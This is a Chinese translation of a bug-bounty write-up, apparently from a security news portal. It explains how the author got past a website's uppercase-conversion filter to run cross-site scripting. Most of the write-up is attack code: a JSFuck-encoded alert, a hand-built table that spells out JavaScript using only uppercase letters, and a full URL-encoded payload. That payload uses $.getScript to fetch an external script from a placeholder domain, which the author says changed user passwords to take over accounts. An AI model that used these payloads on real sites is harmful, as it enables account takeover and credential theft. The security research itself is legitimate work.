如何绕过大写过滤器实现XSS攻击 - FreeBuf网络安全行业门户

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如何绕过大写过滤器实现XSS攻击

白帽汇 2019-10-15 19:07:29 177936

虽然我们不是在安全公司工作，但喜欢参加Hackerone上的漏洞悬赏项目，喜欢寻找漏洞。

而最近发现的漏洞让我感觉javascript代码中的注入漏洞的确会让人防不胜防。

我们在目标网站上找到了一个和XSS有关的漏洞，其中网页涉及到某种谷歌分析代码，可通过URL进行XSS攻击。

http://website.com/dir/subdir

以上URL的后半部分会直接出现在javascript代码中：

function("/DIR/SUBDIR",params);

通过使用Burp suite，我尝试在URL末尾添加-alert(1)-来进行攻击，即[http://website.com/dir/subdir/](http://website.com/dir/subdir/)"-alert(1)-"。

结果浏览器告诉我们找不到函数ALERT(1)，看来GET参数会被转换为大写。

然后我们开始测试网站过滤器到底会过滤什么内容，结果发现</script>，//，\，. 会受到影响，但是其他敏感字符东西"，'，[，]，{，}并不会。

所以，我们需要利用这些白名单字符构建payload。很快我们便想到了jsfuck.com网站，不过它生成的payload虽然可以绕过大写过滤器，但太长了。

同时，需要说明的是，在Hackerone的悬赏项目中，如果只是执行alert(1)，那么只能算是一个低级XSS（奖励较低）。我们希望将此漏洞的等级升级为高或严重，这就需要证明漏洞可加载外部JS文件，且在和用户无任何交互的情况下就可执行任意Web操作。

以下是一个用于WordPress的payload，我们希望能往目标注入类似于这个payload的外部脚本，非法更改帐户密码或email。

而在JsFuck网站中，一个简单的alert(1)会被转换为如下代码：

"-%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%5B(%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B!!%5B%5D%2B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!!%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B!!%5B%5D%2B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!!%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%5D((!!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B!!%5B%5D%2B!!%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D)()(%2B!!%5B%5D)-"

这真是又丑又长。如果我想使用alert(document.cookie)，则最终的payload会超过13000个字符。但是，我发现一旦给目标服务器发送的字符数超出了2700个，Web服务就会返回Error 400。看来我们需要改善这种混淆方式，缩减它的长度。

先让我们看看JsFuck是如何工作的（字符间的对应关系）。

const SIMPLE = {
    'false':      '![]',
    'true':       '!0',
    'undefined':  '0[0]',
    'NaN':        '+[!0]',
    'Infinity':   '+(+!0+(!0+[])[!0+!0+!0]+[+!0]+[0]+[0]+[0])' // +"1e1000"
  };
const CONSTRUCTORS = {
    'Array':    '[]',
    'Number':   '(+0)',
    'String':   '([]+[])',
    'Boolean':  '(!0)',
    'Function': '[]["fill"]',
    'RegExp':   'Function("return/"+0+"/")()'
  };
const MAPPING = {
    'a':   '(false+"")[1]',
    'b':   '([]["entries"]()+"")[2]',
    'c':   '([]["fill"]+"")[3]',
    'd':   '(undefined+"")[2]',
    'e':   '(true+"")[3]',
    'f':   '(false+"")[0]',
    'g':   '(false+[0]+String)[20]',
    'h':   '(+(101))["to"+String["name"]](21)[1]',
    'i':   '([false]+undefined)[10]',
    'j':   '([]["entries"]()+"")[3]',
    'k':   '(+(20))["to"+String["name"]](21)',
    'l':   '(false+"")[2]',
    'm':   '(Number+"")[11]',
    'n':   '(undefined+"")[1]',
    'o':   '(true+[]["fill"])[10]',
    'p':   '(+(211))["to"+String["name"]](31)[1]',

我开始尝试在Chrome上执行其中一部分代码，看看它是如何工作的。

基本上，我们可以从不同类型的变量中获取字符，特别是从false、true、undefined、NaN、Infinity等获取小写字母。

最终，我在没有使用小写字母的情况下得出了自制的混淆转换表。

Á=![]; //false
É=!![]; //true 
Í=[][[]]; //undefined
Ó=+[![]]; //NaN
SI=+(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]);// Infinity
ST=([]+[]); //
Ü=(+[]);
A=(Á+"")[1];
D=(Í+"")[2];
E=(É+"")[3];
F=(Á+"")[0];
G=[![]+[+[]]+[[]+[]][+[]][[![]+{}][+[]][+!+[]+[+[]]]+[[]+{}][+[]][+!+[]]+[[][[]]+[]][+[]][+!+[]]+[![]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[!![]+[]][+[]][+!+[]]+[[][[]]+[]][+[]][+[]]+[![]+{}][+[]][+!+[]+[+[]]]+[!![]+[]][+[]][+[]]+[[]+{}][+[]][+!+[]]+[!![]+[]][+[]][+!+[]]]][+[]][!+[]+!+[]+[+[]]];
I=([Á]+Í)[10];
L=(Á+"")[2];
T=(É+"")[0];
O=(É+[][F+I+L+L])[10];
R=(É+"")[1];
N=(Í+"")[1];
M=(+(208))[T+O+"S"+T+R+I+N+G](31)[1];
P=(+(211))[T+O+"S"+T+R+I+N+G](31)[1];
S=(Á+"")[3];
U=(Í+"")[0];
V=(+(31))[T+O+"S"+T+R+I+N+G](32);
X=(+(101))[T+O+"S"+T+R+I+N+G](34)[1];
Y=(Ó+[SI])[10];
Z=(+(35))[T+O+"S"+T+R+I+N+G](36);
C=([][F+I+L+L]+"")[3];
H=(+(101))[T+O+"S"+T+R+I+N+G](21)[1];
K=(+(20))[T+O+"S"+T+R+I+N+G](21);
W=(+(32))[T+O+"S"+T+R+I+N+G](33);
J=([][E+N+T+R+I+E+S]()+"")[3];
B=([][E+N+T+R+I+E+S]()+"")[2];

同时我还需要斜线和圆点。首先我们可以从浮点数1.1e+101得到圆点。

好的，现在我还缺/和g。此时我决定用jsfuck生成这两个字符，为此我牺牲了1200个字符，但之前的paylaod大约是500-800字符，所以最后的payload长度（还包含些其他代码）在服务器允许的范围内。

现在让我们试试执行混淆后的代码。

[][F+I+L+L][C+O+N+S+T+R+U+C+T+O+R](A+L+E+R+T(1))();

以上代码实际对应fill.constructor(alert(1))。是的，我只用大写字母就执行了javascript！

希望目标网站使用了jquery，此外如果加载到HTML代码的末尾，则注入payload后会返回未找到函数。我们必须等待3秒，等所有依赖项加载完成再用$.getscript加载外部JS文件。

[][F+I+L+L][C+O+N+S+T+R+U+C+T+O+R](S+E+T+"T"+I+M+E+O+U+T+"("+F+U+N+C+T+I+O+N+"(){ $"+DOT+G+E+T+"S"+C+R+I+P+T+"('"+SLA+SLA+"test"+SLA+"test')(); }, 3000);")();

它成功了！3秒后我收到了请求！

最后对payload进行URL编码，得到的最终payload是（长度为2500多）：

%3B%C3%81=![]%3B%C3%89=!![]%3B%C3%8D=[][[]]%3B%C3%93=%2B[![]]%3BSI=%2B(%2B!%2B[]%2B(!%2B[]%2B[])[!%2B[]%2B!%2B[]%2B!%2B[]]%2B[%2B!%2B[]]%2B[%2B[]]%2B[%2B[]]%2B[%2B[]])%3BST=([]%2B[])%3B%C3%9C=(%2B[])%3BA=(%C3%81%2B%22%22)[1]%3BD%20=%20(%C3%8D%2B%22%22)[2]%3BE%20=%20(%C3%89%2B%22%22)[3]%3BF%20=%20(%C3%81%2B%22%22)[0]%3BG%20=%20[![]%2B[%2B[]]%2B[[]%2B[]][%2B[]][[![]%2B%7B%7D][%2B[]][%2B!%2B[]%2B[%2B[]]]%2B[[]%2B%7B%7D][%2B[]][%2B!%2B[]]%2B[[][[]]%2B[]][%2B[]][%2B!%2B[]]%2B[![]%2B[]][%2B[]][!%2B[]%2B!%2B[]%2B!%2B[]]%2B[!![]%2B[]][%2B[]][%2B[]]%2B[!![]%2B[]][%2B[]][%2B!%2B[]]%2B[[][[]]%2B[]][%2B[]][%2B[]]%2B[![]%2B%7B%7D][%2B[]][%2B!%2B[]%2B[%2B[]]]%2B[!![]%2B[]][%2B[]][%2B[]]%2B[[]%2B%7B%7D][%2B[]][%2B!%2B[]]%2B[!![]%2B[]][%2B[]][%2B!%2B[]]]][%2B[]][!%2B[]%2B!%2B[]%2B[%2B[]]]%3BI%20=%20([%C3%81]%2B%C3%8D)[10]%3BL%20=%20(%C3%81%2B%22%22)[2]%3BT%20=%20(%C3%89%2B%22%22)[0]%3BO%20=%20(%C3%89%2B[][F%2BI%2BL%2BL])[10]%3BR%20=%20(%C3%89%2B%22%22)[1]%3BN%20=%20(%C3%8D%2B%22%22)[1]%3BM%20=%20(%2B(208))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](31)[1]%3BP%20=%20(%2B(211))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](31)[1]%3BS%20=%20(%C3%81%2B%22%22)[3]%3BU%20=%20(%C3%8D%2B%22%22)[0]%3BV%20=%20(%2B(31))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](32)%3BX%20=%20(%2B(101))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](34)[1]%3BY%20=%20(%C3%93%2B[SI])[10]%3BZ%20=%20(%2B(35))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](36)%3BC%20=%20([][F%2BI%2BL%2BL]%2B%22%22)[3]%3BH%20=%20(%2B(101))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](21)[1]%3BK%20=%20(%2B(20))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](21)%3BW%20=%20(%2B(32))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](33)%3BJ%20=%20([][E%2BN%2BT%2BR%2BI%2BE%2BS]()%2B%22%22)[3]%3BB%20=%20([][E%2BN%2BT%2BR%2BI%2BE%2BS]()%2B%22%22)[2]%3BDOT%20=%20(%2B(%2211E100%22)%2B[])[1]%3BSLA=(![]%2B[%2B![]])[([![]]%2B[][[]])[%2B!%2B[]%2B[%2B[]]]%2B(!![]%2B[])[%2B[]]%2B(![]%2B[])[%2B!%2B[]]%2B(![]%2B[])[!%2B[]%2B!%2B[]]%2B([![]]%2B[][[]])[%2B!%2B[]%2B[%2B[]]]%2B([][(![]%2B[])[%2B[]]%2B([![]]%2B[][[]])[%2B!%2B[]%2B[%2B[]]]%2B(![]%2B[])[!%2B[]%2B!%2B[]]%2B(!![]%2B[])[%2B[]]%2B(!![]%2B[])[!%2B[]%2B!%2B[]%2B!%2B[]]%2B(!![]%2B[])[%2B!%2B[]]]%2B[])[!%2B[]%2B!%2B[]%2B!%2B[]]%2B(![]%2B[])[!%2B[]%2B!%2B[]%2B!%2B[]]]()[%2B!%2B[]%2B[%2B[]]]%3B[][F%2BI%2BL%2BL][C%2BO%2BN%2BS%2BT%2BR%2BU%2BC%2BT%2BO%2BR](S%2BE%2BT%2B%22T%22%2BI%2BM%2BE%2BO%2BU%2BT%2B%22(%22%2BF%2BU%2BN%2BC%2BT%2BI%2BO%2BN%2B%22()%7B%20$%22%2BDOT%2BG%2BE%2BT%2B%22S%22%2BC%2BR%2BI%2BP%2BT%2B%22('%22%2BSLA%2BSLA%2B%22BADASSDOMAIN%22%2BDOT%2B%22COM%22%2BSLA%2B%22BADASSURL')()%3B%20%7D,%203000)%3B%22)()%3B(%22

最后我们成功加载了外部JS脚本，它的作用是更改用户名密码！实现帐户接管！就这样我把一个低危XSS漏洞变成了高危XSS漏洞。奖励也从50美元变成了1000美元，翻了20倍！

在此特别感谢Martin Kleppe，没有他的发现，我们是不可能得到这个奖励的。

本文由白帽汇整理并翻译，不代表白帽汇任何观点和立场：https://nosec.org/home/detail/3047.html
来源：https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce

# xss # javascript

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